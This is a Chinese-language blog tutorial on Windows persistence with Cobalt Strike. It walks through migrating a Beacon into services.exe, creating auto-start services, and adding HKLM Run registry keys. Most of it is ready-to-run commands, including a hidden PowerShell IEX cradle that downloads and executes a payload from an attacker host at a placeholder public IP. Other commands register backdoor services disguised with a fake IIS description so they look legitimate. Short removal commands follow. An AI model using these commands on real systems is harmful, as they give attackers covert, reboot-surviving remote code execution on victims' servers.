Windows权限维持-Cobaltstrike


Cobalt strike权限维持

当目标机器重启之后,驻留在cmd.exe、powershell.exe等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。

可以通过IFEO、启动项、服务等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。

0x01 进程迁移

环境

  • 目标机器:Windows Server 2008 R2
  • Cobalt strike版本:Cobalt strike4.0

在我们获取目标机器Shell并成功提权后,驻留在cmd.exe、powershell.exe等进程中的Shell具有不稳定性,为了增加稳定性首先做的就是进程迁移打开进程列表找一个合适的程序迁移(最好是系统进程)。

右键选择 目标进程列表

选择services.exe进程再点击Inject

选择好监听器

这样我们就获取到了更稳定的services.exeShell

0x02 创建自启动服务

1. 无文件攻击

首先要生成的payload,攻击钓鱼攻击Scripted Web Delivery(S)

选择好监听器

生成payload

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))"
#此条命令的是通过download下载恶意powershell,之后通过IEX在后台隐藏执行
#IEX(Invoke-expression),作用是将字符串当成powershell命令执行,并且是加载到内存中执行,不会有文件落地

进入beacon

在刚才生成的payload截取关键部分

IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))

在beacon中依次执行以下命令

#创建服务
shell sc create "AppaHostSvc" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))\"

#设置AppaHostSvc服务为自动
shell SC config "AppaHostSvc" start= auto

#设置服务描述
shell SC description "AppaHostSvc" "为IIS提供管理服务,例如配置历史记录和应用程序池帐户映射。如果停止此服务,则配置历史记录将无法工作,也无法用特定于应用程序池的访问控制项锁定文件或目录。"

#启动服务
shell net start "AppaHostSvc"

这样我们就在目标服务器留下名为AppaHostSvc的服务,加上描述后看起来很像真的

之前设置了服务为自动,所以目标服务器重启后依然主动连接到我们的CS

2. 后门文件

首先先生成 windows server exe (服务后门),也可以使用自己免杀制作的exe

image-20221225181951473

利用工具把后门ab.exe上传到目标服务器上

进入beacon中依次执行以下命令

#创建服务
shell sc create "SpoWered" binpath= "C:\Windows\Temp\test\ab.exe"

#设置SpoWered服务为自动
shell SC config "SpoWered" start= auto

#设置服务描述
shell SC description "SpoWered" "为IIS提供管理服务,例如配置历史记录和应用程序池帐户映射。如果停止此服务,则配置历史记录将无法工作,也无法用特定于应用程序池的访问控制项锁定文件或目录。"

#启动服务
shell net start "SpoWered"

这样我们就在目标服务器留下名为SpoWered的服务,加上描述后看起来很像真的

清除后门

#删除服务
shell SC delete "SpoWered"

0x03 创建注册表后门

1. 无文件攻击

首先需要生成payload

IEX ((new-object net.webclient).downloadstring('http://公网ip:16203/a'))

在beacon中执行以下命令

#添加注册表
shell reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Key1name" /t REG_SZ /d "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://公网ip:16202/a'))\"" /f

这就我们就在目标服务器的注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run路径下留下了Key1name,每当服务器重启时就会运行注册表中的命令连接到我们的CS

2. 后门文件

首先先生成 windows server exe (服务后门),也可以使用自己免杀制作的exe

image-20221225181951473

利用工具把后门ab.exe上传到目标服务器上

进入beacon中执行以下命令

#添加注册表
shell reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\Temp\test\ab.exe" /f

这就我们就在目标服务器的注册表 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run路径下留下了Keyname,每当服务器重启时就会运行注册表中的命令运行C:\Windows\Temp\test\ab.exe从而连接到我们的CS

清楚后门

#删除注册表
shell reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /f

文章作者: Captured
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Captured !
评论
 上一篇
权限维持-微信DLL劫持 权限维持-微信DLL劫持
DLL劫持漏洞是老生常谈的一个漏洞,已经被前辈们各种奇技淫巧玩烂。但DLL劫持技术在后渗透和域渗透中的权限提升和权限维持都起到了至关重要的作用。
2022-12-30
下一篇 
Linux权限维持-openssh Linux权限维持-openssh
当我们在获得一台Linux服务器的 root 权限后,我们第一想做的就是如何维持这个权限,维持权限肯定想到的就是在目标服务器留下一个后门。但是留普通后门,肯定很容易被发现。我们今天要讲的就是留一个SSH后门,是通过修改SSH源代码的方式来留一个万能的SSH密码。
2022-12-23
  目录